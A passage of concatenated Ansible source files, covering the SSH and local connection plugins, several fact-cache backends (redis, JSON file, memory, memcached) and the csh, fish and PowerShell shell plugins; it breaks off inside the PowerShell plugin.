        ''' transfer a file from local to remote '''

        super(Connection, self).put_file(in_path, out_path)

        display.vvv(u"PUT {0} TO {1}".format(in_path, out_path), host=self.host)
        if not os.path.exists(to_bytes(in_path, errors='strict')):
            raise AnsibleFileNotFound("file or module does not exist: {0}".format(to_str(in_path)))

        # scp and sftp require square brackets for IPv6 addresses, but
        # accept them for hostnames and IPv4 addresses too.
        host = '[%s]' % self.host

        if C.DEFAULT_SCP_IF_SSH:
            cmd = self._build_command('scp', in_path, u'{0}:{1}'.format(host, pipes.quote(out_path)))
            in_data = None
        else:
            cmd = self._build_command('sftp', to_bytes(host))
            in_data = u"put {0} {1}\n".format(pipes.quote(in_path), pipes.quote(out_path))

        in_data = to_bytes(in_data, nonstring='passthru')
        (returncode, stdout, stderr) = self._run(cmd, in_data)

        if returncode != 0:
            raise AnsibleError("failed to transfer file to {0}:\n{1}\n{2}".format(to_str(out_path), to_str(stdout), to_str(stderr)))

    def fetch_file(self, in_path, out_path):
        ''' fetch a file from remote to local '''

        super(Connection, self).fetch_file(in_path, out_path)

        display.vvv(u"FETCH {0} TO {1}".format(in_path, out_path), host=self.host)

        # scp and sftp require square brackets for IPv6 addresses, but
        # accept them for hostnames and IPv4 addresses too.
        host = '[%s]' % self.host

        if C.DEFAULT_SCP_IF_SSH:
            cmd = self._build_command('scp', u'{0}:{1}'.format(host, pipes.quote(in_path)), out_path)
            in_data = None
        else:
            cmd = self._build_command('sftp', host)
            in_data = u"get {0} {1}\n".format(pipes.quote(in_path), pipes.quote(out_path))

        in_data = to_bytes(in_data, nonstring='passthru')
        (returncode, stdout, stderr) = self._run(cmd, in_data)

        if returncode != 0:
            raise AnsibleError("failed to transfer file from {0}:\n{1}\n{2}".format(in_path, stdout, stderr))

    def close(self):
        # If we have a persistent ssh connection (ControlPersist), we can ask it
        # to stop listening. Otherwise, there's nothing to do here.

        # TODO: reenable once winrm issues are fixed
        # temporarily disabled as we are forced to currently close connections after every task because of winrm
        # if self._connected and self._persistent:
        #     cmd = self._build_command('ssh', '-O', 'stop', self.host)
        #
        #     cmd = map(to_bytes, cmd)
        #     p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        #     stdout, stderr = p.communicate()

        self._connected = False






# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
# (c) 2015 Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import select
import shutil
import subprocess
import fcntl
import getpass

from ansible.compat.six import text_type, binary_type

import ansible.constants as C

from ansible.errors import AnsibleError, AnsibleFileNotFound
from ansible.plugins.connection import ConnectionBase
from ansible.utils.unicode import to_bytes, to_str

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class Connection(ConnectionBase):
    ''' Local based connections '''

    transport = 'local'
    has_pipelining = True

    def _connect(self):
        ''' connect to the local host; nothing to do here '''

        # Because we haven't made any remote connection we're running as
        # the local user, rather than as whatever is configured in
        # remote_user.
        self._play_context.remote_user = getpass.getuser()

        if not self._connected:
            display.vvv(u"ESTABLISH LOCAL CONNECTION FOR USER: {0}".format(self._play_context.remote_user), host=self._play_context.remote_addr)
            self._connected = True
        return self

    def exec_command(self, cmd, in_data=None, sudoable=True):
        ''' run a command on the local host '''

        super(Connection, self).exec_command(cmd, in_data=in_data, sudoable=sudoable)

        display.debug("in local.exec_command()")

        executable = C.DEFAULT_EXECUTABLE.split()[0] if C.DEFAULT_EXECUTABLE else None

        display.vvv(u"EXEC {0}".format(cmd), host=self._play_context.remote_addr)
        display.debug("opening command with Popen()")

        if isinstance(cmd, (text_type, binary_type)):
            cmd = to_bytes(cmd)
        else:
            cmd = map(to_bytes, cmd)

        p = subprocess.Popen(
            cmd,
            shell=isinstance(cmd, (text_type, binary_type)),
            executable=executable, #cwd=...
            stdin=subprocess.PIPE,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
        )
        display.debug("done running command with Popen()")

        if self._play_context.prompt and sudoable:
            fcntl.fcntl(p.stdout, fcntl.F_SETFL, fcntl.fcntl(p.stdout, fcntl.F_GETFL) | os.O_NONBLOCK)
            fcntl.fcntl(p.stderr, fcntl.F_SETFL, fcntl.fcntl(p.stderr, fcntl.F_GETFL) | os.O_NONBLOCK)
            become_output = ''
            while not self.check_become_success(become_output) and not self.check_password_prompt(become_output):

                rfd, wfd, efd = select.select([p.stdout, p.stderr], [], [p.stdout, p.stderr], self._play_context.timeout)
                if p.stdout in rfd:
                    chunk = p.stdout.read()
                elif p.stderr in rfd:
                    chunk = p.stderr.read()
                else:
                    stdout, stderr = p.communicate()
                    raise AnsibleError('timeout waiting for privilege escalation password prompt:\n' + become_output)
                if not chunk:
                    stdout, stderr = p.communicate()
                    raise AnsibleError('privilege output closed while waiting for password prompt:\n' + become_output)
                become_output += chunk
            if not self.check_become_success(become_output):
                p.stdin.write(self._play_context.become_pass + '\n')
            fcntl.fcntl(p.stdout, fcntl.F_SETFL, fcntl.fcntl(p.stdout, fcntl.F_GETFL) & ~os.O_NONBLOCK)
            fcntl.fcntl(p.stderr, fcntl.F_SETFL, fcntl.fcntl(p.stderr, fcntl.F_GETFL) & ~os.O_NONBLOCK)

        display.debug("getting output with communicate()")
        stdout, stderr = p.communicate(in_data)
        display.debug("done communicating")

        display.debug("done with local.exec_command()")
        return (p.returncode, stdout, stderr)

    def put_file(self, in_path, out_path):
        ''' transfer a file from local to local '''

        super(Connection, self).put_file(in_path, out_path)

        display.vvv(u"PUT {0} TO {1}".format(in_path, out_path), host=self._play_context.remote_addr)
        if not os.path.exists(to_bytes(in_path, errors='strict')):
            raise AnsibleFileNotFound("file or module does not exist: {0}".format(to_str(in_path)))
        try:
            shutil.copyfile(to_bytes(in_path, errors='strict'), to_bytes(out_path, errors='strict'))
        except shutil.Error:
            raise AnsibleError("failed to copy: {0} and {1} are the same".format(to_str(in_path), to_str(out_path)))
        except IOError as e:
            raise AnsibleError("failed to transfer file to {0}: {1}".format(to_str(out_path), to_str(e)))

    def fetch_file(self, in_path, out_path):
        ''' fetch a file from local to local -- for copatibility '''

        super(Connection, self).fetch_file(in_path, out_path)

        display.vvv(u"FETCH {0} TO {1}".format(in_path, out_path), host=self._play_context.remote_addr)
        self.put_file(in_path, out_path)

    def close(self):
        ''' terminate the connection; nothing to do here '''
        self._connected = False






# (c) 2014, Brian Coca, Josh Drake, et al
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import sys
import time
import json

from ansible import constants as C
from ansible.errors import AnsibleError
from ansible.plugins.cache.base import BaseCacheModule

try:
    from redis import StrictRedis
except ImportError:
    raise AnsibleError("The 'redis' python module is required for the redis fact cache, 'pip install redis'")

class CacheModule(BaseCacheModule):
    """
    A caching module backed by redis.

    Keys are maintained in a zset with their score being the timestamp
    when they are inserted. This allows for the usage of 'zremrangebyscore'
    to expire keys. This mechanism is used or a pattern matched 'scan' for
    performance.
    """
    def __init__(self, *args, **kwargs):
        if C.CACHE_PLUGIN_CONNECTION:
            connection = C.CACHE_PLUGIN_CONNECTION.split(':')
        else:
            connection = []

        self._timeout = float(C.CACHE_PLUGIN_TIMEOUT)
        self._prefix = C.CACHE_PLUGIN_PREFIX
        self._cache = StrictRedis(*connection)
        self._keys_set = 'ansible_cache_keys'

    def _make_key(self, key):
        return self._prefix + key

    def get(self, key):
        value = self._cache.get(self._make_key(key))
        # guard against the key not being removed from the zset;
        # this could happen in cases where the timeout value is changed
        # between invocations
        if value is None:
            self.delete(key)
            raise KeyError
        return json.loads(value)

    def set(self, key, value):
        value2 = json.dumps(value)
        if self._timeout > 0: # a timeout of 0 is handled as meaning 'never expire'
            self._cache.setex(self._make_key(key), int(self._timeout), value2)
        else:
            self._cache.set(self._make_key(key), value2)

        self._cache.zadd(self._keys_set, time.time(), key)

    def _expire_keys(self):
        if self._timeout > 0:
            expiry_age = time.time() - self._timeout
            self._cache.zremrangebyscore(self._keys_set, 0, expiry_age)

    def keys(self):
        self._expire_keys()
        return self._cache.zrange(self._keys_set, 0, -1)

    def contains(self, key):
        self._expire_keys()
        return (self._cache.zrank(self._keys_set, key) >= 0)

    def delete(self, key):
        self._cache.delete(self._make_key(key))
        self._cache.zrem(self._keys_set, key)

    def flush(self):
        for key in self.keys():
            self.delete(key)

    def copy(self):
        # TODO: there is probably a better way to do this in redis
        ret = dict()
        for key in self.keys():
            ret[key] = self.get(key)
        return ret

    def __getstate__(self):
        return dict()

    def __setstate__(self, data):
        self.__init__()






# (c) 2014, Brian Coca, Josh Drake, et al
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import time
import errno
import codecs

try:
    import simplejson as json
except ImportError:
    import json

from ansible import constants as C
from ansible.errors import AnsibleError
from ansible.parsing.utils.jsonify import jsonify
from ansible.plugins.cache.base import BaseCacheModule
from ansible.utils.unicode import to_bytes

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class CacheModule(BaseCacheModule):
    """
    A caching module backed by json files.
    """
    def __init__(self, *args, **kwargs):

        self._timeout = float(C.CACHE_PLUGIN_TIMEOUT)
        self._cache = {}
        self._cache_dir = os.path.expanduser(os.path.expandvars(C.CACHE_PLUGIN_CONNECTION)) # expects a dir path
        if not self._cache_dir:
            raise AnsibleError("error, fact_caching_connection is not set, cannot use fact cache")

        if not os.path.exists(self._cache_dir):
            try:
                os.makedirs(self._cache_dir)
            except (OSError,IOError) as e:
                display.warning("error while trying to create cache dir %s : %s" % (self._cache_dir, to_bytes(e)))
                return None

    def get(self, key):
        """ This checks the in memory cache first as the fact was not expired at 'gather time'
        and it would be problematic if the key did expire after some long running tasks and
        user gets 'undefined' error in the same play """

        if key in self._cache:
            return self._cache.get(key)

        if self.has_expired(key) or key == "":
            raise KeyError

        cachefile = "%s/%s" % (self._cache_dir, key)
        try:
            with codecs.open(cachefile, 'r', encoding='utf-8') as f:
                try:
                    value = json.load(f)
                    self._cache[key] = value
                    return value
                except ValueError as e:
                    display.warning("error while trying to read %s : %s. Most likely a corrupt file, so erasing and failing." % (cachefile, to_bytes(e)))
                    self.delete(key)
                    raise AnsibleError("The JSON cache file %s was corrupt, or did not otherwise contain valid JSON data."
                            " It has been removed, so you can re-run your command now." % cachefile)
        except (OSError,IOError) as e:
            display.warning("error while trying to read %s : %s" % (cachefile, to_bytes(e)))
            raise KeyError

    def set(self, key, value):

        self._cache[key] = value

        cachefile = "%s/%s" % (self._cache_dir, key)
        try:
            f = codecs.open(cachefile, 'w', encoding='utf-8')
        except (OSError,IOError) as e:
            display.warning("error while trying to write to %s : %s" % (cachefile, to_bytes(e)))
            pass
        else:
            f.write(jsonify(value, format=True))
        finally:
            try:
                f.close()
            except UnboundLocalError:
                pass

    def has_expired(self, key):

        cachefile = "%s/%s" % (self._cache_dir, key)
        try:
            st = os.stat(cachefile)
        except (OSError,IOError) as e:
            if e.errno == errno.ENOENT:
                return False
            else:
                display.warning("error while trying to stat %s : %s" % (cachefile, to_bytes(e)))
                pass

        if time.time() - st.st_mtime <= self._timeout:
            return False

        if key in self._cache:
            del self._cache[key]
        return True

    def keys(self):
        keys = []
        for k in os.listdir(self._cache_dir):
            if not (k.startswith('.') or self.has_expired(k)):
                keys.append(k)
        return keys

    def contains(self, key):
        cachefile = "%s/%s" % (self._cache_dir, key)

        if key in self._cache:
            return True

        if self.has_expired(key):
            return False
        try:
            os.stat(cachefile)
            return True
        except (OSError,IOError) as e:
            if e.errno == errno.ENOENT:
                return False
            else:
                display.warning("error while trying to stat %s : %s" % (cachefile, to_bytes(e)))
                pass

    def delete(self, key):
        try:
            del self._cache[key]
        except KeyError:
            pass
        try:
            os.remove("%s/%s" % (self._cache_dir, key))
        except (OSError, IOError):
            pass #TODO: only pass on non existing?

    def flush(self):
        self._cache = {}
        for key in self.keys():
            self.delete(key)

    def copy(self):
        ret = dict()
        for key in self.keys():
            ret[key] = self.get(key)
        return ret






# (c) 2014, Brian Coca, Josh Drake, et al
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from abc import ABCMeta, abstractmethod

from ansible.compat.six import with_metaclass

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class BaseCacheModule(with_metaclass(ABCMeta, object)):

    # Backwards compat only.  Just import the global display instead
    _display = display

    @abstractmethod
    def get(self, key):
        pass

    @abstractmethod
    def set(self, key, value):
        pass

    @abstractmethod
    def keys(self):
        pass

    @abstractmethod
    def contains(self, key):
        pass

    @abstractmethod
    def delete(self, key):
        pass

    @abstractmethod
    def flush(self):
        pass

    @abstractmethod
    def copy(self):
        pass







# (c) 2014, Brian Coca, Josh Drake, et al
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.cache.base import BaseCacheModule

class CacheModule(BaseCacheModule):

    def __init__(self, *args, **kwargs):
        self._cache = {}

    def get(self, key):
        return self._cache.get(key)

    def set(self, key, value):
        self._cache[key] = value

    def keys(self):
        return self._cache.keys()

    def contains(self, key):
        return key in self._cache

    def delete(self, key):
        del self._cache[key]

    def flush(self):
        self._cache = {}

    def copy(self):
        return self._cache.copy()

    def __getstate__(self):
        return self.copy()

    def __setstate__(self, data):
        self._cache = data






# (c) 2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from collections import MutableMapping

from ansible import constants as C
from ansible.plugins import cache_loader

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class FactCache(MutableMapping):

    def __init__(self, *args, **kwargs):
        self._plugin = cache_loader.get(C.CACHE_PLUGIN)
        # Backwards compat: self._display isn't really needed, just import the global display and use that.
        self._display = display

        if self._plugin is None:
            display.warning("Failed to load fact cache plugins")
            return

    def __getitem__(self, key):
        if key not in self:
            raise KeyError
        return self._plugin.get(key)

    def __setitem__(self, key, value):
        self._plugin.set(key, value)

    def __delitem__(self, key):
        self._plugin.delete(key)

    def __contains__(self, key):
        return self._plugin.contains(key)

    def __iter__(self):
        return iter(self._plugin.keys())

    def __len__(self):
        return len(self._plugin.keys())

    def copy(self):
        """ Return a primitive copy of the keys and values from the cache. """
        return dict(self)

    def keys(self):
        return self._plugin.keys()

    def flush(self):
        """ Flush the fact cache of all keys. """
        self._plugin.flush()

    def update(self, key, value):
        host_cache = self._plugin.get(key)
        host_cache.update(value)
        self._plugin.set(key, host_cache)






# (c) 2014, Brian Coca, Josh Drake, et al
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import collections
import os
import sys
import time
from multiprocessing import Lock
from itertools import chain

from ansible import constants as C
from ansible.plugins.cache.base import BaseCacheModule

try:
    import memcache
except ImportError:
    print('python-memcached is required for the memcached fact cache')
    sys.exit(1)


class ProxyClientPool(object):
    """
    Memcached connection pooling for thread/fork safety. Inspired by py-redis
    connection pool.

    Available connections are maintained in a deque and released in a FIFO manner.
    """

    def __init__(self, *args, **kwargs):
        self.max_connections = kwargs.pop('max_connections', 1024)
        self.connection_args = args
        self.connection_kwargs = kwargs
        self.reset()

    def reset(self):
        self.pid = os.getpid()
        self._num_connections = 0
        self._available_connections = collections.deque(maxlen=self.max_connections)
        self._locked_connections = set()
        self._lock = Lock()

    def _check_safe(self):
        if self.pid != os.getpid():
            with self._lock:
                if self.pid == os.getpid():
                    # bail out - another thread already acquired the lock
                    return
                self.disconnect_all()
                self.reset()

    def get_connection(self):
        self._check_safe()
        try:
            connection = self._available_connections.popleft()
        except IndexError:
            connection = self.create_connection()
        self._locked_connections.add(connection)
        return connection

    def create_connection(self):
        if self._num_connections >= self.max_connections:
            raise RuntimeError("Too many memcached connections")
        self._num_connections += 1
        return memcache.Client(*self.connection_args, **self.connection_kwargs)

    def release_connection(self, connection):
        self._check_safe()
        self._locked_connections.remove(connection)
        self._available_connections.append(connection)

    def disconnect_all(self):
        for conn in chain(self._available_connections, self._locked_connections):
            conn.disconnect_all()

    def __getattr__(self, name):
        def wrapped(*args, **kwargs):
            return self._proxy_client(name, *args, **kwargs)
        return wrapped

    def _proxy_client(self, name, *args, **kwargs):
        conn = self.get_connection()

        try:
            return getattr(conn, name)(*args, **kwargs)
        finally:
            self.release_connection(conn)


class CacheModuleKeys(collections.MutableSet):
    """
    A set subclass that keeps track of insertion time and persists
    the set in memcached.
    """
    PREFIX = 'ansible_cache_keys'

    def __init__(self, cache, *args, **kwargs):
        self._cache = cache
        self._keyset = dict(*args, **kwargs)

    def __contains__(self, key):
        return key in self._keyset

    def __iter__(self):
        return iter(self._keyset)

    def __len__(self):
        return len(self._keyset)

    def add(self, key):
        self._keyset[key] = time.time()
        self._cache.set(self.PREFIX, self._keyset)

    def discard(self, key):
        del self._keyset[key]
        self._cache.set(self.PREFIX, self._keyset)

    def remove_by_timerange(self, s_min, s_max):
        for k in self._keyset.keys():
            t = self._keyset[k]
            if s_min < t < s_max:
                del self._keyset[k]
        self._cache.set(self.PREFIX, self._keyset)


class CacheModule(BaseCacheModule):

    def __init__(self, *args, **kwargs):
        if C.CACHE_PLUGIN_CONNECTION:
            connection = C.CACHE_PLUGIN_CONNECTION.split(',')
        else:
            connection = ['127.0.0.1:11211']

        self._timeout = C.CACHE_PLUGIN_TIMEOUT
        self._prefix = C.CACHE_PLUGIN_PREFIX
        self._cache = ProxyClientPool(connection, debug=0)
        self._keys = CacheModuleKeys(self._cache, self._cache.get(CacheModuleKeys.PREFIX) or [])

    def _make_key(self, key):
        return "{0}{1}".format(self._prefix, key)

    def _expire_keys(self):
        if self._timeout > 0:
            expiry_age = time.time() - self._timeout
        self._keys.remove_by_timerange(0, expiry_age)

    def get(self, key):
        value = self._cache.get(self._make_key(key))
        # guard against the key not being removed from the keyset;
        # this could happen in cases where the timeout value is changed
        # between invocations
        if value is None:
            self.delete(key)
            raise KeyError
        return value

    def set(self, key, value):
        self._cache.set(self._make_key(key), value, time=self._timeout, min_compress_len=1)
        self._keys.add(key)

    def keys(self):
        self._expire_keys()
        return list(iter(self._keys))

    def contains(self, key):
        self._expire_keys()
        return key in self._keys

    def delete(self, key):
        self._cache.delete(self._make_key(key))
        self._keys.discard(key)

    def flush(self):
        for key in self.keys():
            self.delete(key)

    def copy(self):
        return self._keys.copy()

    def __getstate__(self):
        return dict()

    def __setstate__(self, data):
        self.__init__()






# (c) 2014, Chris Church <chris@ninemoreminutes.com>
#
# This file is part of Ansible.
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.shell import ShellBase

class ShellModule(ShellBase):

    # Common shell filenames that this plugin handles
    COMPATIBLE_SHELLS = frozenset(('csh', 'tcsh'))
    # Family of shells this has.  Must match the filename without extension
    SHELL_FAMILY = 'csh'

    # How to end lines in a python script one-liner
    _SHELL_EMBEDDED_PY_EOL = '\\\n'
    _SHELL_REDIRECT_ALLNULL = '>& /dev/null'
    _SHELL_AND = '&&'
    _SHELL_OR = '||'
    _SHELL_SUB_LEFT = '"`'
    _SHELL_SUB_RIGHT = '`"'
    _SHELL_GROUP_LEFT = '('
    _SHELL_GROUP_RIGHT = ')'

    def env_prefix(self, **kwargs):
        return 'env %s' % super(ShellModule, self).env_prefix(**kwargs)






# (c) 2014, Chris Church <chris@ninemoreminutes.com>
#
# This file is part of Ansible.
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import pipes
from ansible.plugins.shell.sh import ShellModule as ShModule
from ansible.compat.six import text_type

class ShellModule(ShModule):

    # Common shell filenames that this plugin handles
    COMPATIBLE_SHELLS = frozenset(('fish',))
    # Family of shells this has.  Must match the filename without extension
    SHELL_FAMILY = 'fish'

    _SHELL_EMBEDDED_PY_EOL = '\n'
    _SHELL_REDIRECT_ALLNULL = '> /dev/null 2>&1'
    _SHELL_AND = '; and'
    _SHELL_OR = '; or'
    _SHELL_SUB_LEFT = '('
    _SHELL_SUB_RIGHT = ')'
    _SHELL_GROUP_LEFT = ''
    _SHELL_GROUP_RIGHT = ''

    def env_prefix(self, **kwargs):
        env = self.env.copy()
        env.update(kwargs)
        return ' '.join(['set -lx %s %s;' % (k, pipes.quote(text_type(v))) for k,v in env.items()])

    def build_module_command(self, env_string, shebang, cmd, arg_path=None, rm_tmp=None):
        # don't quote the cmd if it's an empty string, because this will break pipelining mode
        if cmd.strip() != '':
            cmd = pipes.quote(cmd)
        cmd_parts = [env_string.strip(), shebang.replace("#!", "").strip(), cmd]
        if arg_path is not None:
            cmd_parts.append(arg_path)
        new_cmd = " ".join(cmd_parts)
        if rm_tmp:
            new_cmd = 'begin ; %s; rm -rf "%s" %s ; end' % (new_cmd, rm_tmp, self._SHELL_REDIRECT_ALLNULL)
        return new_cmd

    def checksum(self, path, python_interp):
        # The following test is fish-compliant.
        #
        # In the following test, each condition is a check and logical
        # comparison (or or and) that sets the rc value.  Every check is run so
        # the last check in the series to fail will be the rc that is
        # returned.
        #
        # If a check fails we error before invoking the hash functions because
        # hash functions may successfully take the hash of a directory on BSDs
        # (UFS filesystem?) which is not what the rest of the ansible code
        # expects
        #
        # If all of the available hashing methods fail we fail with an rc of
        # 0.  This logic is added to the end of the cmd at the bottom of this
        # function.

        # Return codes:
        # checksum: success!
        # 0: Unknown error
        # 1: Remote file does not exist
        # 2: No read permissions on the file
        # 3: File is a directory
        # 4: No python interpreter

        # Quoting gets complex here.  We're writing a python string that's
        # used by a variety of shells on the remote host to invoke a python
        # "one-liner".
        shell_escaped_path = pipes.quote(path)
        test = "set rc flag; [ -r %(p)s ] %(shell_or)s set rc 2; [ -f %(p)s ] %(shell_or)s set rc 1; [ -d %(p)s ] %(shell_and)s set rc 3; %(i)s -V 2>/dev/null %(shell_or)s set rc 4; [ x\"$rc\" != \"xflag\" ] %(shell_and)s echo \"$rc  \"%(p)s %(shell_and)s exit 0" % dict(p=shell_escaped_path, i=python_interp, shell_and=self._SHELL_AND, shell_or=self._SHELL_OR)
        csums = [
            u"({0} -c 'import hashlib; BLOCKSIZE = 65536; hasher = hashlib.sha1();{2}afile = open(\"'{1}'\", \"rb\"){2}buf = afile.read(BLOCKSIZE){2}while len(buf) > 0:{2}\thasher.update(buf){2}\tbuf = afile.read(BLOCKSIZE){2}afile.close(){2}print(hasher.hexdigest())' 2>/dev/null)".format(python_interp, shell_escaped_path, self._SHELL_EMBEDDED_PY_EOL),      # Python > 2.4 (including python3)
            u"({0} -c 'import sha; BLOCKSIZE = 65536; hasher = sha.sha();{2}afile = open(\"'{1}'\", \"rb\"){2}buf = afile.read(BLOCKSIZE){2}while len(buf) > 0:{2}\thasher.update(buf){2}\tbuf = afile.read(BLOCKSIZE){2}afile.close(){2}print(hasher.hexdigest())' 2>/dev/null)".format(python_interp, shell_escaped_path, self._SHELL_EMBEDDED_PY_EOL),      # Python == 2.4
        ]

        cmd = (" %s " % self._SHELL_OR).join(csums)
        cmd = "%s; %s %s (echo \'0  \'%s)" % (test, cmd, self._SHELL_OR, shell_escaped_path)
        return cmd






# (c) 2014, Chris Church <chris@ninemoreminutes.com>
#
# This file is part of Ansible.
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import base64
import os
import re
import shlex

from ansible.utils.unicode import to_bytes, to_unicode

_common_args = ['PowerShell', '-NoProfile', '-NonInteractive', '-ExecutionPolicy', 'Unrestricted']

# Primarily for testing, allow explicitly specifying PowerShell version via
# an environment variable.
_powershell_version = os.environ.get('POWERSHELL_VERSION', None)
if _powershell_version:
    _common_args = ['PowerShell', '-Version', _powershell_version] + _common_args[1:]

class ShellModule(object):

    # Common shell filenames that this plugin handles
    # Powershell is handled differently.  It's selected when winrm is the
    # connection
    COMPATIBLE_SHELLS = frozenset()
    # Family of shells this has.  Must match the filename without extension
    SHELL_FAMILY = 'powershell'

    def env_prefix(self, **kwargs):
        return ''

    def join_path(self, *args):
        parts = []
        for arg in args:
            arg = self._unquote(arg).replace('/', '\\')
            parts.extend([a for a in arg.split('\\') if a])
        path = '\\'.join(parts)
        if path.startswith('~'):
            return path
        return '\'%s\'' % path

    def get_remote_filename(self, pathname):
        # powershell requires that script files end with .ps1
        base_name = os.path.basename(pathname.strip())
        name, ext = os.path.splitext(base_name.strip())
        if ext.lower() not in ['.ps1', '.exe']:
            return name + '.ps1'

        return base_name.strip()

    def path_has_trailing_slash(self, path):
        # Allow Windows paths to be specified using either slash.
        path = self._unquote(path)
        return path.endswith('/') or path.endswith('\\')

    def chmod(self, paths, mode):
        raise NotImplementedError('chmod is not implemented for Powershell')

    def chown(self, paths, user):
        raise NotImplementedError('chown is not implemented for Powershell')

    def set_user_facl(self, paths, user, mode):
        raise NotImplementedError('set_user_facl is not implemented for Powershell')

    def remove(self, path, recurse=False):
        path = self._escape(self._unquote(path))
        if recurse:
            return self._encode_script('''Remove-Item "%s" -Force -Recurse;''' % path)
        else:
            return self._encode_script('''Remove-Item "%s" -Force;''' % path)

    def mkdtemp(self, basefile, system=False, mode=None):
        basefile = self._escape(self._unquote(basefile))
        # FIXME: Support system temp path!
